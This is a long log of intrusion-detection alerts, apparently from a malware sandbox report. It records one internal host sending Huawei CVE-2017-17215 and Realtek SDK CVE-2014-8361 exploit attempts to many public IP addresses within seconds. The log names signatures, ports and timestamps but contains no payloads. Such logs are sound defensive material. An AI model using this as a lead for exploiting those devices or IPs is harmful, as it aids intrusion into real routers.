ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.113.109.39

Timestamp:	07/20/24-23:11:03.371424
SID:	2835222
Source Port:	36700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 38.143.90.107

Timestamp:	07/20/24-23:10:43.452777
SID:	2027339
Source Port:	33710
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 31.179.64.179

Timestamp:	07/20/24-23:10:52.551688
SID:	2829579
Source Port:	35400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.15.150.168

Timestamp:	07/20/24-23:10:59.023708
SID:	2835222
Source Port:	49388
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 99.118.106.29

Timestamp:	07/20/24-23:10:51.896795
SID:	2831300
Source Port:	43184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 2.190.145.125

Timestamp:	07/20/24-23:10:47.896234
SID:	2025132
Source Port:	33652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 154.8.108.34

Timestamp:	07/20/24-23:10:52.060416
SID:	2027339
Source Port:	53192
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 126.92.188.140

Timestamp:	07/20/24-23:10:49.421978
SID:	2835222
Source Port:	46168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 64.20.21.79

Timestamp:	07/20/24-23:10:52.558618
SID:	2829579
Source Port:	45576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.168.215.230

Timestamp:	07/20/24-23:10:49.421978
SID:	2835222
Source Port:	34292
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 190.250.16.69

Timestamp:	07/20/24-23:10:46.817180
SID:	2835222
Source Port:	54220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 8.253.245.245

Timestamp:	07/20/24-23:11:03.390577
SID:	2829579
Source Port:	47932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.87.1.134

Timestamp:	07/20/24-23:10:49.360961
SID:	2835222
Source Port:	33890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 194.51.38.79

Timestamp:	07/20/24-23:10:44.745358
SID:	2025132
Source Port:	55944
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.101.180.53

Timestamp:	07/20/24-23:10:39.430692
SID:	2835222
Source Port:	52656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.62.170.7

Timestamp:	07/20/24-23:10:40.656564
SID:	2835222
Source Port:	37088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.89.116.170

Timestamp:	07/20/24-23:10:39.434366
SID:	2829579
Source Port:	45306
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.106.203.155

Timestamp:	07/20/24-23:10:49.377082
SID:	2835222
Source Port:	41478
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 35.188.243.106

Timestamp:	07/20/24-23:10:58.986541
SID:	2829579
Source Port:	36308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 51.58.164.251

Timestamp:	07/20/24-23:11:03.394674
SID:	2835222
Source Port:	43368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.77.128.68

Timestamp:	07/20/24-23:10:42.263488
SID:	2835222
Source Port:	39232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.144.9.215

Timestamp:	07/20/24-23:10:59.057855
SID:	2829579
Source Port:	60898
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 72.178.188.43

Timestamp:	07/20/24-23:10:49.425318
SID:	2829579
Source Port:	43718
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 14.134.150.109

Timestamp:	07/20/24-23:10:42.632104
SID:	2027339
Source Port:	50042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.76.77.102

Timestamp:	07/20/24-23:10:46.865461
SID:	2835222
Source Port:	43298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 222.31.20.54

Timestamp:	07/20/24-23:10:42.633392
SID:	2027339
Source Port:	43174
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 191.96.230.47

Timestamp:	07/20/24-23:10:39.168210
SID:	2025132
Source Port:	38544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.18.206.159

Timestamp:	07/20/24-23:10:39.434124
SID:	2829579
Source Port:	40956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.18.113.6

Timestamp:	07/20/24-23:10:46.735704
SID:	2829579
Source Port:	34302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 184.114.49.59

Timestamp:	07/20/24-23:10:51.950747
SID:	2831300
Source Port:	44978
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 166.45.141.212

Timestamp:	07/20/24-23:10:51.983127
SID:	2027339
Source Port:	44636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.85.205.73

Timestamp:	07/20/24-23:10:52.549474
SID:	2835222
Source Port:	41722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.140.111.60

Timestamp:	07/20/24-23:11:03.382352
SID:	2835222
Source Port:	41934
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.213.233.79

Timestamp:	07/20/24-23:10:46.721416
SID:	2835222
Source Port:	41634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.115.108.166

Timestamp:	07/20/24-23:10:52.551688
SID:	2835222
Source Port:	54254
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 140.169.88.3

Timestamp:	07/20/24-23:10:45.219029
SID:	2027339
Source Port:	54138
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 162.144.96.77

Timestamp:	07/20/24-23:10:39.515932
SID:	2025132
Source Port:	60906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 190.79.37.161

Timestamp:	07/20/24-23:10:52.045896
SID:	2831300
Source Port:	60558
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.147.34.23

Timestamp:	07/20/24-23:10:42.249182
SID:	2835222
Source Port:	35044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 197.206.241.145

Timestamp:	07/20/24-23:10:51.905303
SID:	2831300
Source Port:	59984
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.15.230.22

Timestamp:	07/20/24-23:10:55.977404
SID:	2835222
Source Port:	32822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 195.202.70.255

Timestamp:	07/20/24-23:10:45.384123
SID:	2025132
Source Port:	38530
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 187.14.16.38

Timestamp:	07/20/24-23:10:40.604941
SID:	2829579
Source Port:	47964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.108.156.198

Timestamp:	07/20/24-23:10:42.249182
SID:	2835222
Source Port:	36518
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.6.61.54

Timestamp:	07/20/24-23:10:42.262762
SID:	2835222
Source Port:	38598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 168.52.247.36

Timestamp:	07/20/24-23:10:51.983833
SID:	2831300
Source Port:	55620
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 120.88.21.240

Timestamp:	07/20/24-23:11:06.696228
SID:	2835222
Source Port:	57266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 77.241.200.75

Timestamp:	07/20/24-23:10:51.940556
SID:	2027339
Source Port:	53588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 209.99.231.53

Timestamp:	07/20/24-23:10:42.621194
SID:	2027339
Source Port:	49362
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 154.64.3.25

Timestamp:	07/20/24-23:10:42.619454
SID:	2027339
Source Port:	44628
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.216.169.151

Timestamp:	07/20/24-23:10:56.024382
SID:	2829579
Source Port:	52726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 63.75.117.57

Timestamp:	07/20/24-23:10:44.760251
SID:	2025132
Source Port:	36560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.52.107.71

Timestamp:	07/20/24-23:10:56.046358
SID:	2829579
Source Port:	39784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 106.24.229.227

Timestamp:	07/20/24-23:10:49.425318
SID:	2835222
Source Port:	36840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.198.98.109

Timestamp:	07/20/24-23:10:52.572631
SID:	2829579
Source Port:	41750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 190.9.142.126

Timestamp:	07/20/24-23:10:52.061682
SID:	2027339
Source Port:	41164
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.168.113.67

Timestamp:	07/20/24-23:11:06.657863
SID:	2829579
Source Port:	44010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.41.140.52

Timestamp:	07/20/24-23:10:59.055793
SID:	2835222
Source Port:	36878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 173.213.209.100

Timestamp:	07/20/24-23:10:39.473748
SID:	2835222
Source Port:	35514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.177.221.156

Timestamp:	07/20/24-23:10:49.447315
SID:	2829579
Source Port:	52600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.110.219.79

Timestamp:	07/20/24-23:10:59.011093
SID:	2835222
Source Port:	55566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 5.162.60.136

Timestamp:	07/20/24-23:10:39.096301
SID:	2025132
Source Port:	46692
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.133.211.18

Timestamp:	07/20/24-23:10:39.479939
SID:	2835222
Source Port:	33022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.133.33.52

Timestamp:	07/20/24-23:10:59.012071
SID:	2835222
Source Port:	42216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.194.49.201

Timestamp:	07/20/24-23:11:03.352491
SID:	2829579
Source Port:	52740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 155.171.90.214

Timestamp:	07/20/24-23:10:51.928255
SID:	2027339
Source Port:	51476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 86.115.137.64

Timestamp:	07/20/24-23:10:47.796046
SID:	2025132
Source Port:	41782
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.203.21.71

Timestamp:	07/20/24-23:10:59.004938
SID:	2835222
Source Port:	35296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.52.64.219

Timestamp:	07/20/24-23:11:03.365385
SID:	2835222
Source Port:	41838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 145.210.186.189

Timestamp:	07/20/24-23:10:44.055686
SID:	2025132
Source Port:	58016
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.219.187.203

Timestamp:	07/20/24-23:10:59.050849
SID:	2835222
Source Port:	50748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 94.146.188.223

Timestamp:	07/20/24-23:10:49.377082
SID:	2829579
Source Port:	47148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 166.78.169.15

Timestamp:	07/20/24-23:10:42.632104
SID:	2027339
Source Port:	33060
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.253.214.8

Timestamp:	07/20/24-23:11:06.662677
SID:	2835222
Source Port:	52278
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 125.158.123.72

Timestamp:	07/20/24-23:10:45.535980
SID:	2025132
Source Port:	38130
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 86.101.91.169

Timestamp:	07/20/24-23:10:45.091662
SID:	2027339
Source Port:	37338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.39.249.198

Timestamp:	07/20/24-23:10:39.438135
SID:	2829579
Source Port:	57396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 83.29.88.76

Timestamp:	07/20/24-23:10:46.010232
SID:	2025132
Source Port:	33342
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.119.93.56

Timestamp:	07/20/24-23:10:59.023708
SID:	2835222
Source Port:	57426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 4.56.195.59

Timestamp:	07/20/24-23:10:49.360961
SID:	2829579
Source Port:	37732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.83.202.216

Timestamp:	07/20/24-23:10:49.370142
SID:	2835222
Source Port:	53580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 83.250.119.240

Timestamp:	07/20/24-23:11:03.406798
SID:	2835222
Source Port:	48878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 120.127.21.138

Timestamp:	07/20/24-23:10:39.870767
SID:	2025132
Source Port:	39006
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.251.200.44

Timestamp:	07/20/24-23:10:49.430121
SID:	2835222
Source Port:	46680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.224.162.113

Timestamp:	07/20/24-23:10:40.604940
SID:	2829579
Source Port:	47126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.110.234.28

Timestamp:	07/20/24-23:10:49.425318
SID:	2835222
Source Port:	57612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.66.194.114

Timestamp:	07/20/24-23:10:55.979374
SID:	2829579
Source Port:	39522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.40.81.92

Timestamp:	07/20/24-23:10:40.650979
SID:	2835222
Source Port:	53814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 169.249.196.201

Timestamp:	07/20/24-23:10:42.625706
SID:	2027339
Source Port:	48368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.182.193.172

Timestamp:	07/20/24-23:10:52.546429
SID:	2829579
Source Port:	34740
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.0.171.6

Timestamp:	07/20/24-23:10:41.232616
SID:	2835222
Source Port:	39852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 73.61.115.234

Timestamp:	07/20/24-23:10:46.836862
SID:	2835222
Source Port:	54926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.35.230.166

Timestamp:	07/20/24-23:11:06.687949
SID:	2835222
Source Port:	43024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 90.25.2.138

Timestamp:	07/20/24-23:10:51.920409
SID:	2831300
Source Port:	42544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 184.222.232.77

Timestamp:	07/20/24-23:10:51.899861
SID:	2027339
Source Port:	44112
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 67.53.114.65

Timestamp:	07/20/24-23:10:40.652868
SID:	2829579
Source Port:	42416
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 34.6.52.231

Timestamp:	07/20/24-23:10:42.249182
SID:	2835222
Source Port:	57660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.38.21.29

Timestamp:	07/20/24-23:11:03.365385
SID:	2835222
Source Port:	54194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 73.203.24.52

Timestamp:	07/20/24-23:10:39.691478
SID:	2027339
Source Port:	59786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.104.229.164

Timestamp:	07/20/24-23:10:39.486941
SID:	2835222
Source Port:	55870
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 101.108.145.138

Timestamp:	07/20/24-23:10:51.950529
SID:	2831300
Source Port:	42078
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

